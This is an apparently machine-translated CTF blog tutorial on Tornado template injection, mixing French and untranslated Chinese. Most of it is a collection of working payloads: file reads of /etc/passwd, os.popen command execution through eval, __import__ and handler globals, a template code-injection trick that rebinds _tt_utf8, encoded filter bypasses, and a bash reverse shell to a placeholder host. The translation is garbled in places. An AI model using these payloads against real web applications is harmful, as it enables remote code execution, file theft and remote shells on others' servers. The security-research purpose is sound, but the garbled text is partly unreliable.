injection de modèle de tornade

introduction

La plupart des injections de modèles python dans ctf sont des flacons et la tornade est rarement testée.
Il y avait une question dans la net cup avant, easy_tornado, qui n'utilisait que handler.settings pour obtenir la valeur de la clé. Alors écrivez cet article pour apprendre et résumer la partie rce de l'injection de modèle de tornade.
Si vous souhaitez apprendre l'injection de templates, vous devez d'abord apprendre la syntaxe des templates.Les documents officiels sont les suivants.
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

grammaire

Instructions de contrôle
Semblables à flask, les modèles de tornado peuvent également utiliser for, if, while et d'autres instructions de contrôle, et sont également {%%}enveloppés avec eux. où break continue peut également être utilisé par {%%}emballage.
Mais la différence est que la fin est fixe {% end %}.
Les expressions
sont utilisées { {}}pour encapsuler des variables afin de
définir des variables
, qui peuvent être affectées directement via { {i=1}}, mais une meilleure méthode consiste à utiliser set

{% set i=1 %}

Exemple

{% for i in range(10)%}
	{
   
   {i}}
{%end%}
{% if 1>2%}
    1
{%elif 1==2%}
    2
{%else%}
    3
{% end%}
{
   
   {i=10}}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

{%set i=10%}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

héritage de modèle
insérez la description de l'image ici

Tornado peut utiliser les balises extend et include pour déclarer les modèles à hériter.
On retrouve ici le premier point exploitable, qui est la lecture de fichiers.

{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}

module/paquet d'importation

{% import *module* %}
{% from *x* import *y* %}

Cela semble jouer un grand rôle dans notre utilisation.
Nous savons que les packages tels que os et sys ne peuvent pas être utilisés directement dans les modèles, mais qu'en est-il après les avoir importés via import. Nous pouvons l'essayer.

{% import os %}
{
   
   {os.popen("ls").read()}}

insérez la description de l'image ici

tout à fait bien.

fonctions et variables

Lisez la suite pour trouver des fonctions ou des variables qui peuvent être utilisées directement dans les modèles.
insérez la description de l'image ici
Voyons lesquelles nous aident à obtenir les alias shell
escape/xhtml_escape
tornado.escape.xhtml_escape pour
échapper une chaîne afin de la rendre valide en HTML ou XML.
Les caractères échappés incluent <, >, ", ', 和 &.
insérez la description de l'image ici
url_escape
tornado.escape.url_escape alias Le
rôle est d'effectuer l'encodage d'url.

json_encode
json encode l'objet python spécifié

def json_decode(value):
    return json.loads(to_basestring(value))

alias pour squeeze
tornado.escape.squeeze
Utilisez un seul espace au lieu d'une séquence de tous les caractères d'espace Consultez le
code source pour comprendre

def squeeze(value):
    return re.sub(r"[\x00-\x20]+", " ", value).strip()

linkify
tornado.escape.linkify
convertit le texte brut en HTML avec des liens
例如linkify("Hello http://tornadoweb.org!") 将返回 Hello <a href="http://tornadoweb.org">http://tornadoweb.org</a>!

Les fonctions précédentes semblent peu utiles, car la plupart d'entre elles encodent plutôt qu'elles ne décodent.
datetime
Python datetime module
tel que { { datetime.date(2022,3,7)}} renvoie l'objet RequestHandler actuel du
gestionnaire
2022-03-07 , qui est également la classe de base pour le traitement des requêtes HTTP dans tornado.
Ensuite, nous pouvons utiliser quoi dans cet objet Quant aux choses, cela dépend de son code source . Le contenu est un peu volumineux.
Vous pouvez y voir que le handler.settings utilisé avant
insérez la description de l'image ici
imprime tout son contenu appelable via dir comme suit

['SUPPORTED_METHODS', '_INVALID_HEADER_CHAR_RE', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_break_cycles', '_clear_representation_headers', '_convert_header_value', '_decode_xsrf_token', '_execute', '_get_argument', '_get_arguments', '_get_raw_xsrf_token', '_handle_request_exception', '_initialize', '_log', '_remove_control_chars_regex', '_request_summary', '_stream_request_body', '_template_loader_lock', '_template_loaders', '_transforms', '_ui_method', '_ui_module', '_unimplemented_method', 'add_header', 'check_etag_header', 'check_xsrf_cookie', 'clear', 'clear_all_cookies', 'clear_cookie', 'clear_header', 'compute_etag', 'cookies', 'create_signed_value', 'create_template_loader', 'current_user', 'data_received', 'decode_argument', 'delete', 'detach', 'finish', 'flush', 'get', 'get_argument', 'get_arguments', 'get_body_argument', 'get_body_arguments', 'get_browser_locale', 'get_cookie', 'get_current_user', 'get_login_url', 'get_query_argument', 'get_query_arguments', 'get_secure_cookie', 'get_secure_cookie_key_version', 'get_status', 'get_template_namespace', 'get_template_path', 'get_user_locale', 'head', 'initialize', 'locale', 'log_exception', 'on_connection_close', 'on_finish', 'options', 'patch', 'path_args', 'path_kwargs', 'post', 'prepare', 'put', 'redirect', 'render', 'render_embed_css', 'render_embed_js', 'render_linked_css', 'render_linked_js', 'render_string', 'require_setting', 'reverse_url', 'send_error', 'set_cookie', 'set_default_headers', 'set_etag_header', 'set_header', 'set_secure_cookie', 'set_status', 'settings', 'static_url', 'write', 'write_error', 'xsrf_form_html', 'xsrf_token']

Ceci n'est pas répertorié en premier, définissons d'abord la syntaxe de l'injection de modèle de flacon précédente.

{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

Après test, il s'avère que ceux-ci sont encore tout à fait utilisables, après tout, ils ne sont pas liés aux modèles en python.
Nous examinons ce gestionnaire, puisqu'il est aussi une classe, peut-il appeler directement la __init__méthode d'initialisation ?

{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

aucun problème.
C'est-à-dire, sans aucun filtrage, le modèle d'injection de tornade et de flacon est à peu près le même.
S'il y a filtrage, alors nous pouvons considérer le grand nombre de méthodes appelables avant.

{
   
   {handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123
{
   
   {handler.cookies}}  //返回cookie值
{
   
   {handler.get_cookie("data")}}  //返回cookie中data的值
{
   
   {handler.decode_argument('\u0066')}}  //返回f,其中\u0066为f的unicode编码
{
   
   {handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123
{
   
   {handler.settings}}  //比如传入application.settings中的值

其他的很多方法也是可以获得一些字符串,这里就不一一列出了。

demande

{
   
   {request.method}}  //返回请求方法名  GET|POST|PUT...
{
   
   {request.query}}  //传入?a=123 则返回a=123
{
   
   {request.arguments}}   //返回所有参数组成的字典
{
   
   {request.cookies}}   //同{
   
   {handler.cookies}}
.
.
.

Les deux principales fonctions mentionnées ci-dessus sont d'obtenir des chaînes, ce qui peut contourner le filtrage des chaînes.
Mais que se passe-t-il s'il est _filtré ?
globals()
La fonction globals() en python renvoie toutes les variables globales à l'emplacement actuel sous forme de dictionnaire.
Avant dans flask, nous constaterons que cela ne peut pas être appelé directement. Examinons la situation dans tornado.
insérez la description de l'image ici
Nous pouvons constater qu'il peut être utilisé directement dans tornado. Ce qui nous excite, c'est que nous pouvons appeler directement certaines méthodes initiales de python Par exemple __import__、eval、print、hex等
, il semble que notre payload puisse être plus concis.

{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

La deuxième méthode est plus dans le but que nous venons de mentionner, en contournant le bon _filtre

{
   
   {eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()

insérez la description de l'image ici
Parce qu'il n'y a pas de filtres dans tornado, il nous .est un peu difficile de contourner le filtrage.
Et si vous souhaitez contourner le filtrage des guillemets, vous pouvez modifier la charge utile ci-dessus au format suivant

{
   
   {eval(handler.get_argument(request.method))}}

然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理。

La dernière chose à faire est de le ()contourner.Dans tornado, le modèle de traitement principal est le fichier template.py qui se trouve en dessous.
La partie de traitement de base est la suivante
insérez la description de l'image ici
: nous pouvons saisir le contenu avec désinvolture et afficher le contenu de self.code.
Par exemple, passez { {2-1}} pour
imprimer le résultat comme suit

def _tt_execute():
    _tt_buffer = []
    _tt_tmp = 2-1
    if isinstance(_tt_tmp, _tt_string_types): 
        _tt_tmp = _tt_utf8(_tt_tmp)
    else: 
        _tt_tmp = _tt_utf8(str(_tt_tmp))
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer)

De cette façon, nous pouvons faire de _tt_utf8 le nom de la fonction que nous voulons exécuter. N'oubliez pas d'ajouter des sauts de ligne et un retrait de quatre lignes vides.

{
   
   {'print(123)'%0a    _tt_utf8=eval}}

Après avoir essayé cela, on constate que le code eval('print(123)')est bien exécuté, mais côté serveur, et la page que nous voyons affichera une erreur.
La raison en est que ces deux lignes de code sont utilisées ensemble

 _tt_tmp = _tt_utf8(_tt_tmp)
 _tt_utf8(xhtml_escape(_tt_tmp))
# xhtml_escape可以看做是一个html编码的函数

Équivalent à venir

_tt_tmp=eval("print(123)")     #print返回值是None
eval(xhtml_escape(None))     #eval中为空导致报错

Ensuite, nous devons trouver un moyen d'éviter cela.
Une meilleure façon est d'utiliser raw.Après les tests, il s'avère que le code sera supprimé après l'utilisation de la syntaxe raw _tt_utf8(xhtml_escape(_tt_tmp)), de sorte que nous n'avons pas à nous soucier de la situation ci-dessus.
Il y a un dernier problème. return _tt_utf8('').join(_tt_buffer)Si nous _tt_utf8attribuons une valeur dans la dernière ligne de code eval, alors cet endroit signalera toujours une erreur.
Mais il est également très simple à résoudre, _tt_utf8puis à attribuer une fonction qui ne signalera pas d'erreur, telle que str.

data={% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Nous avons constaté que le code ci-dessus existe toujours (), mais dans une chaîne, ce qui nous facilite beaucoup la résolution.
Nous pouvons utiliser l'encodage hexadécimal ou unicode à la place, le code suivant peut nous aider à générer directement l'hexadécimal.

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))

Parce que les caractères que nous utilisons sont essentiellement dans la plage de code ascii, donc si la chaîne est convertie en unicode, le code \u00+ascii est directement utilisé

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]).replace('\\x','\\u00'))

Résumer

Charges utiles pouvant être utilisées sans filtrage dans tornado

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{
   
   {os.popen("ls").read()}}

4、flask中的payload大部分也通用
{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{
   
   {handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Situation du filtre

1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{
   
   {eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理


2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""

4、其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{
   
   {handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{
   
   {handler.application.default_router.named_rules['345'].target('/readflag').read()}}

Article de référence

https://www.qcrane.top/2021/11/29/N1CTF%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/#more

https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

https://www.cnblogs.com/guohan/p/6728188.html

Je suppose que tu aimes

Origine blog.csdn.net/miuzzx/article/details/123329244
conseillé
Classement